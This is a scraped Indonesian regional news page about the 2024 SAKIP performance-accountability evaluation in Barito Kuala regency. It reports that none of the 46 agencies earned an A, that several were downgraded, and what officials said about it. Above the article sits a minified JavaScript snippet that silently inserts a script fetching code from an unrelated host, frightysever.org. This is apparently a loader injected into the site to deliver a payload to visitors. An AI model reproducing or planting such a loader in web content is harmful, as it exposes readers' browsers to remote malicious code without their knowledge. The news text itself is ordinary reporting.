(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, MARABAHAN – Penyerahan hasil evaluasi Sistem Akuntabilitas Kinerja Instansi Pemerintah (SAKIP) 2024 di Kabupaten Barito Kuala (Batola) pada Senin (21/10/2024) menunjukkan fakta kurang menggembirakan. Dari total 46 Satuan Kerja Perangkat Daerah (SKPD), tidak ada satu pun yang meraih predikat A. Bahkan, sejumlah SKPD yang sebelumnya mendapat nilai A, harus menerima penurunan predikat.
Enam SKPD yang sebelumnya mendapatkan predikat A, kini turun menjadi BB, yakni Dinas Ketahanan Pangan dan Perikanan (DKPP), Dinas Pertanian Tanaman Pangan dan Hortikultura (Distan TPH), Dinas Perkebunan dan Peternakan (Disbunak), Dinas Pengendalian Penduduk KB dan PPPA (DPPKBP3A), Dinas Pekerjaan Umum dan Penataan Ruang (PUPR), serta Dinas Perumahan dan Kawasan Permukiman (Disperkim). Selain itu, Badan Pengelolaan Keuangan dan Aset Daerah (BPKAD) yang sebelumnya meraih predikat A, justru terlempar ke predikat CC.
Di sisi lain, Dinas Komunikasi dan Informatika (Diskominfo) mengalami kenaikan predikat dari B menjadi BB. Empat SKPD lainnya juga mencatatkan kenaikan predikat, dari CC menjadi B.
Pj Bupati Batola, Dinansyah, dalam kesempatan tersebut mengingatkan bahwa apapun hasil yang diperoleh merupakan cerminan capaian kinerja yang perlu diperbaiki. “Penilaian ini harus menjadi pelecut perbaikan. Komitmen yang lebih kuat dari setiap pimpinan SKPD diperlukan agar perubahan nyata dapat tercapai,” katanya.
Sekretaris Daerah Kabupaten Batola, Zulkipli Yadi Noor, menyebutkan bahwa penurunan kinerja ini disebabkan oleh beberapa faktor, termasuk kurang optimalnya komitmen pimpinan SKPD dalam menerapkan SAKIP dan lemahnya tindak lanjut terhadap perbaikan yang disarankan. Hal ini menyebabkan implementasi SAKIP di lingkungan Pemkab Batola belum maksimal.
Meskipun tidak ada SKPD yang meraih predikat A, rata-rata nilai SAKIP seluruh SKPD di Batola masih berada di angka 67,6, yang tergolong “baik”. Meski begitu, skor ini lebih rendah dibandingkan dengan catatan terbaik pada tahun 2022 yang mencatatkan nilai 68,6.
Selain itu, dalam acara yang sama, juga diberikan apresiasi kepada SKPD yang mendapatkan nilai baik dalam pelayanan publik berdasarkan penilaian dari Kementerian Pendayagunaan Aparatur Negara dan Reformasi Birokrasi (Kemenpanrb), serta SKPD yang memenuhi standar kepatuhan penyelenggaraan pelayanan publik menurut Ombudsman. Dinas Penanaman Modal dan Pelayanan Terpadu Satu Pintu (DPMTSP) Batola meraih peringkat teratas dengan nilai 90,31.(www.kanalkalimantan.com/adv)
Reporter: adv
Editor: rdy
KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More
KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More
KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More
KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More
This website uses cookies.